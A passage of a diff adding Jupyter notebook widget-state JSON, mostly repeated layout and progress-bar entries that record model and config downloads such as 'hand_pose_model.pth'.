"object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "02fe761302934b54960a8289d627d16c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2db8827ffa344a4a8ac5487ff2997ae0", + "IPY_MODEL_c25de7e0bae0469d918bd6d3ea39211b", + "IPY_MODEL_2b5e8dcb60ee4f65af5505ffa7ea3ae2" + ], + "layout": "IPY_MODEL_9b27785afb0243f5b2298cb272c510e2" + } + }, + "032471548f5c45ed89d8a62db800c7fc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_01fc82bb9bb84c628890b9a2349a6e6e", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f66573653707458f80b29a40e1193d31", + "value": 20 + } + }, + "03264d2988b849369f26e62a0a010d51": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "036af165dae748a19a3691dbe74e7a1a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "03800bb9bc894d2592b3d01036769944": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0383c8a7e3384eec9205dc8f37654ee4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_58c63ae0605a4f1192c52e4306602fd7", + "max": 920, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_55e0a986be424043846c0e863158a1bd", + "value": 920 + } + }, + "058220c3342b49e0bcc1f0973566ac72": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "05ba62113d1840c38f0bcf8f291f7439": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5850294bc56d489cb8eb90483f77254e", + "placeholder": "​", + "style": "IPY_MODEL_9d2061e3643940f496528dc7ad6e6e2e", + "value": "Downloading hand_pose_model.pth: 100%" + } + }, + "069b424c2d3846b8ba69a455dbda1f88": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "06f53eb5d18941d8a947bcb21676e9c7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0762e7a5efb84a4b9bf60c5cf3235671": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "07ad70da82f04e6c8fc64ba90f114d04": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_83067a7d3f454087ac1de91bf17c7339", + "placeholder": "​", + "style": "IPY_MODEL_d2b243b82d0641bc82bcc9500059043d", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "083aa6ce3274445c830c4157dc9ea4be": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_be56ad8a63884a33a22bfb3b39da1cc0", + "IPY_MODEL_83b4c17fa697445f86f7f034fe670934", + "IPY_MODEL_c3dc31d7d2be42be88fe03fa33e5f20d" + ], + "layout": "IPY_MODEL_2c38cd148fe74a5897c3319be42b7d7e" + } + }, + "09441b43551f4e5f9ff77512f59d2f9e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_955af4f359254125801ec776793397e7", + "IPY_MODEL_27f8dc0ef76448be90b004529fa562cf", + "IPY_MODEL_a3f598a48fa448dbb44a40c8c7af85e6" + ], + "layout": "IPY_MODEL_6c353682d9d64022a11f31357816f14d" + } + }, + "0a6ed397228f4a1fafe9dfecc4c39ef6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0a8a88ac007a41e4b0096fb114fe8a47": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e38139b6898e4897b67aac89ee982c7a", + "placeholder": "​", + "style": "IPY_MODEL_5e144bb789054a88a43db4329bb2df05", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "0af102aac55747fcb8854b8b5ed2dd27": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7b0ece2c75614540a942214d1f527f91", + "placeholder": "​", + "style": "IPY_MODEL_0d3e1914b85047c7af6b6bd4fd94e197", + "value": " 20/20 [00:06<00:00, 4.16it/s]" + } + }, + "0c6beb3311554ae1b3bea23eadf8620d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "0d3e1914b85047c7af6b6bd4fd94e197": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0d45fef5bbf447938e7621e77207e1ae": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0da3c6cd22da482c88af347dcbdf0d8e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0dc0896c330d417a8b452d27699f86bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6fbeaf60da4746b6a1c02a211657886b", + "placeholder": "​", + "style": "IPY_MODEL_9d1f8ee81b994f94882d776f6e401f02", + "value": " 209M/209M [00:01<00:00, 157MB/s]" + } + }, + "0e38cf52fb3d40d5a87ec975499ef648": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0ee14dea902c4efe81c616f34dbc7562": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b1659a9d5e294f9bbc1b20e892e16326", + "placeholder": "​", + "style": "IPY_MODEL_308c9dc88e034f4bbcb4ee24628694ba", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "0f796401fadb4649a30effd4c66e058f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "103ffa0973364618b4ce1d5528078062": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "108208309c4b47aa8eee3a1321fc81ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_97dcb5d933594743aea62d09aa27d30d", + "placeholder": "​", + "style": "IPY_MODEL_f17e8c0187db4242af4a803aed44fde9", + "value": " 525k/525k [00:00<00:00, 2.39MB/s]" + } + }, + "10ae3f8453744a7e9737a9a0914dfeab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "10be4b9595c84f36aeab9593e63440e6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_51890b032fbb48139e11d69850a6db57", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_30408dcf6dd14e27bab9cc06cc664c4c", + "value": 20 + } + }, + "10bfbe36a3e24b30a6e300e852ff7811": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6e7d3e445440469baa5aaab1cbbb9291", + "max": 308, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a3ca3b9ce6b24d43bdf8361379b6d502", + "value": 308 + } + }, + "10f4d1976dc04c3bb651b45c08298fab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "117ca4fd09bb4ebeb8eae3ba5c3112f5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_52403e4bc442416fac24e0880f2a3faf", + "max": 147341049, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_38eb1d06f0094645944b5d305b575927", + "value": 147341049 + } + }, + "13ccb78b2d7141e1a982a8bea69023d5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_99b1e953ca924df2b6bfb0f9780d2e21", + "IPY_MODEL_57420a6e093c4de9845db953b8e0269b", + "IPY_MODEL_22235d8e342a47059270c8732b889d68" + ], + "layout": "IPY_MODEL_6055afd2e29c42e09d5f923c34cf1579" + } + }, + "13f07d79c96146aaa1d7731526aaec29": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "147cd6ad4d4c4fca82a7a531684ffd2a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4fbfe981703e4365a6e944cb9f3913d5", + "placeholder": "​", + "style": "IPY_MODEL_ce5e2b3caef7421da3383cbdfc5b271f", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "15c1713762124e828b20f54684e496d0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "15ce5867e9ba470b94f0408cfa8236ad": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "15de6a583c5e4525a559749577fd4331": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "161da25b295b4afa8f8b88507818d052": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "16e7c873157c444bb0ca1b92e85b4701": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": 